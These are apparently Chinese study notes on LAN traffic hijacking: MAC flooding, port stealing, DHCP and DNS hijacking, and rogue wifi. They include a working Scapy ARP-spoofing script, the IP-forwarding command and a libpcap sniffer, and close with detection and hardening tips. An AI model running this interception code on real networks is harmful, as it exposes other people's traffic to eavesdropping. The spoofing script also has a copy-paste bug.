一、网络流量劫持
1、网络环境:共享式、交换式
1)集线器:把某接口的收包转发到所有接口;网卡如果非混杂,就不会丢弃此包。wifi也是如此。此为共享式网络
2)交换式~网络流量窃取:网络监听、DHCP欺骗、DNS劫持、wifi流量劫持
二层交换机:交换发生在数据链路层~MAC地址表
三层交换机:交换发生在网络层~IP地址表
网管:端口镜像;捣蛋娃:MAC攻击、端口盗用、ARP欺骗
3)MAC攻击:
MAC地址表建立(自学习)转发过程:第一次接收,获取源MAC——》再接收,查MAC表转发——》如有,单端口转发/如无,泛洪
搞事方法:持续发送大量随机源MAC~MAC冲刷,引发泛洪
网管应对:监控MAC表,或者静态MAC表
4)端口盗用:
发包混淆MAC表,使被监听对象的MAC绑定到监听者所在端口(被监听者会不会感知?)
为了还包给被监听者,监听者先存起来,定期更正MAC表恢复正常转发同时还包(嗯,被监听者可能会有所感知)
5)ARP欺骗:
网络层——》数据链路层:ARP(Address Resolution Protocol)协议(IP——》MAC)
发包前,检查ARP高速缓存,如无,广播ARP请求(目的MAC填充00.00.00.00.00.00),然后等等同样形式的ARP响应包
!!!主机接收到ARP数据包、不经认证直接写入自身ARP高速缓存——ARP欺骗基于此,引发ARP缓存中毒(Cache Poisoning)
基于ARP请求的欺骗(伪造、广播,会引起被冒名主机提示IP地址冲突)
基于ARP响应的欺骗(利用主机不记录发送ARP请求的弱点,在想实施动作时发送响应。对方不会有告警、网内其它主机不受干扰)
后者,可查看arpspoof.py,使用前,确定目标和网关,开启对网关和目标的流量转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
然后开始对目标ARP欺骗
1 ########################
2 ## arpspoof.py ##
3 ## arp欺骗 ##
4 ########################
5
6 from scapy.all import *
7 import os
8 import sys
9 import threading
10
11 interface = "eth0" # 你将要用的网卡设备名称
12 target_ip = "192.168.1.2" # 局域网内你的目标
13 gateway_ip = "192.168.1.1" # 网关……
14 packet_count = 1000
15 spoofing = True
16
17 def get_mac(ip_address):
18 responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst = ip_address), timeout = 2, retry = 10)
19 for s,r in responses:
20 return r[Ether].src
21 return None
22
23 def spoof_target(gateway_ip, gateway_mac, target_ip, target_mac):
24 global spoofing
25
26 spoof_target = ARP()
27 spoof_target.op = 2
28 spoof_target.psrc = gateway_ip
29 spoof_target.pdst = target_ip
30 spoof_target.hwdst = target_mac
31
32 spoof_gateway = ARP()
33 spoof_gateway.op = 2
34 spoof_gateway.psrc = gateway_ip
35 spoof_gateway.pdst = target_ip
36 spoof_gateway.hwdst = target_mac
37
38 print("[ + ] Beginning the ARP spoof. [ CTRL + C to stop]")
39 while spoofing:
40 send(spoof_target)
41 send(spoof_gateway)
42 time.sleep(2)
43 print("[ * ] ARP spoof attack finisted.")
44 return
45
46 def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
47 print("[ * ] Restoring Target ... ")
48 send(ARP(op = 2, psrc = gateway_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateway_mac), count = 5)
49 send(ARP(op = 2, psrc = target_ip, pdst = gateway_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5)
50
51 def arp_spoof():
52 conf.iface = interface
53 conf.verb = 0
54
55 print("[ + ] Setting up %s " % interface)
56
57 # 获取网关的MAC
58 gateway_mac = get_mac(gateway_ip)
59 if gateway_mac is None:
60 print("[ - ] Failed to get gateway MAC. Exiting.")
61 sys.exit(0)
62 else:
63 print("[ + ] Gateway %s is at %s " %(gateway_ip, gateway_mac))
64
65 # 获取目标的MAC
66 target_mac = get_mac(target_ip)
67 if target_mac is None:
68 print("[ - ] Failed to get target MAC. Exiting.")
69 sys.exit(0)
70 else:
71 print("[ + ] Target %s is at %s " %(target_ip, target_mac))
72
73 # 启动ARP欺骗
74 print("[ + ] Start spoof thread.")
75 spoof_thread = threading.Thread(target = spoof_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))
76 spoof_thread.start()
77
78 # 抓取目标流量
79 try:
80 print("[ + ] Starting sniffer for %d packets" % packet_count)
81 bpf_filter = "ip host %s" % target_ip
82 packets = sniff( count = packet_count, filter = bpf_filter, iface = interface)
83 except KeyboardInterrupt:
84 pass
85 finally:
86 print("[ + ] Writing packets to arpspoof.pcap")
87 wrpcap('arpsoof.pcap',packets)
88 spoofing = False
89 time.sleep(2)
90 # 还原网络配置
91 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
92 sys.exit(0)
93
94 if __name__ == '__main__':
95 arp_spoof()
利用ARP响应欺骗,好像主机如果记录常用的MAC,会被发现吧?(这可以作为监测手段,如果想省事,直接静态ARP吧)
6)DHCP欺骗:
DHCP:C/S模式,基于UDP,UDP67、UDP68分别是S端和C端的服务端口,UDP546则是v6版本的C端的端口,也是DHCP服务器的failover的双机热备特殊端口。S端侦听来自C端请求,然后一系列协商后才分发相关地址配置信息。
三种分配方式:automatic / dynamic / manual allocation
注意:DHCP请求都是广播的(DHCP Discover),然后所有S都给出DHCP Offer报文,无特殊option外,C将优先处理最先回应,然后把选中的S和选中的IP随DHCP Request再次广播,如果S端确认地址可用,将向C发送DHCP ACK前明确IP和租期。C如确认可用,则自动启动续延;如发现此IP已在用,则向S发DHCP Decline通知禁止分发此IP,并重新开始新的申请过程。在使用过程中,C可以发送DHCP Release释放自己的IP。
小动作:同一冲突域内,伪装目标MAC并发起Release,然后将自身作为DHCP Server、网关、DNS提供给目标,以劫持目标的网络数据包。而在不同冲突域下,则会存在DHCP Agent / Proxy,负责中转DHCP请求与回应,因此还可以控制住DHCP Agent,实现更大范围的监听。
7)DNS劫持:
DNS,联机分布式数据库系统,C/S模式。本地应用将待转换域名放入DNS请求,以UDP提交给本地DNS,如有记录,返回应答及IP,如无,则访问远端DNS;如有则返回,如无,远端DNS将作为C端再去访问另一个远端DNS,直到有记录或者范围内DNS都找不到记录。
上述过程中,存在高速缓存Cache,DNS侧也存在授权管理域名及非授权绑定。存在高效与准确性的矛盾。
那么,如果拿下了DNS,并且把目标流量指向自身,同时自身开启HTTP代理保证正常通信,就可以获取所有的访问流量。或者拿到域名管理密码和邮箱并添加相应域名解析记录(想想就难搞)。
好吧,相信亲爱的运营商的技术水平,他们的DNS不会挂掉,同时把本地的呃,我自己就是哦,不能自黑
8)Wifi流量劫持:
一是爆破无线路由的管理;二是自身开热点钓鱼(开同名热点,并保证RSSI-信号强度比原配高一点)。人在外地,还是自己开热点自己用,限死IP和MAC吧。钓得鱼多终葬鱼腹……
二、采集与分析、解密
丢弃;有个特殊模式:混杂模式——Promiscuous:在接收帧时,不检查帧头,一律硬件中断并交系统处理,作为网络监听的前提条件。
2、还没调好的参考书代码:
//***********************************
// 过滤特定字符串的小程序
//***********************************
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
//当pcap_loop()收到分组时,打印收到的分组序号,暂未进行分析
void my_callback(u_char *useless,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
static int count=1;
fprintf(stdout,"%d, \n",count);
int k=0;
int len;
len=strlen(packet);
for(k=0;k<len;k++)
printf("%02X",packet[k]);
//奇葩了,输出竟然全部是我光猫的MAC
printf("\n");
fflush(stdout);
count++;
}
int main(int argc,char **argv)
{
int i;
char *dev;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t* descr;
const u_char *packet;
struct pcap_pkthdr hdr;
struct ether_header *eptr;
struct bpf_program fp;
bpf_u_int32 maskp;
bpf_u_int32 netp;
if(argc!=2)
{
fprintf(stdout,"Usage: %s \" filter program \" \n",argv[0]);
return 0;
}
dev=pcap_lookupdev(errbuf);
if(dev==NULL)
{
fprintf(stderr,"%s\n",errbuf);
exit(1);
}
//get IP and MASK
pcap_lookupnet(dev,&netp,&maskp,errbuf);
//turn to Promiscuous Mode
descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);
if(descr==NULL)
{
printf("pcap_open_live():%s\n",errbuf);
exit(1);
}
//将指定待过滤字符串编译成程序
if(pcap_compile(descr,&fp,argv[1],0,netp)==-1)
{
fprintf(stderr,"Error calling pcap_compile\n");
exit(1);
}
//将上述程序指定为过滤程序
if(pcap_setfilter(descr,&fp)==-1)
{
fprintf(stderr,"Error setting filter\n");
exit(1);
}
//循环捕获满足条件的分组
pcap_loop(descr,-1,my_callback,NULL);
return 0;
}
哦哦,用法啊,参考一下这篇文章
e.g../a.out "src 192.168.1.58"
然后一些数据封装和解析就不多写了,还有sniffer和wireshark这些常用的也不了。哦,书中还安利了Cain,省了自己敲ARP欺骗、嗅探等,都是有界面的,随便玩玩。
三、监听的检测防范
1、被动监听不易察觉,不过对方网卡是混杂模式,可以通过构造目的MAC随机的可疑主机IP为目的IP的ping包,诱导回应。
2、随机发送大量目的MAC不存在的垃圾数据包,在保证带宽的情况下,测试到可疑主机的ping包响应速度,看看有无明显变慢。(个人感觉,针对第1、2点,最好在入网时就记录好存活主机MAC,然后针对性去监听,而丢弃随机的不在记录的源MAC的包)
3、单播发出ARP,看看有无回应,对比对方的MAC和回包MAC。(呃,那我们在ARP欺骗的时候,是不是要过滤掉单播的ARP呢?)
4、针对不存在的IP发Ping包,看看有没有主机对这些IP进行DNS反向查询。
网管侧:
1、冲突域细分(如此,只有远程控制某台冲突域内的设备,再去进行监听了)
2、交换机端口IP或MAC绑定;设定端口学习阈值,避免大量填入。
3、通信加密
最后,还得吐槽一下,便利与安全越发地矛盾啊!!!